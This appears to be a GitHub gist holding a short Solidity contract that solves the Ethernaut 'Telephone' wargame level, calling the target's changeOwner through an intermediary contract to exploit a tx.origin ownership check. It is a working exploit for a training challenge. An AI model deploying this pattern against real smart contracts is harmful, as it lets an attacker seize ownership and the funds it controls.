Skip to content

Instantly share code, notes, and snippets.

@nathan-lapinski
Created June 18, 2023 05:54
Show Gist options
  • Save nathan-lapinski/dfcd6c3690c258603cdb4a2ed78b6e08 to your computer and use it in GitHub Desktop.
Save nathan-lapinski/dfcd6c3690c258603cdb4a2ed78b6e08 to your computer and use it in GitHub Desktop.
Ethernaut Level 5 (Telephone)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// Define an interface for the telephone contract
interface ITelephone {
function changeOwner(address _owner) external;
}
contract MyContract {
// The address of the telephone contract
address private telephoneAddress;
// Initialize the contract with the telephone contract's address
constructor(address _telephoneAddress) {
telephoneAddress = _telephoneAddress;
}
function win() public {
ITelephone telephone = ITelephone(telephoneAddress);
telephone.changeOwner(msg.sender);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment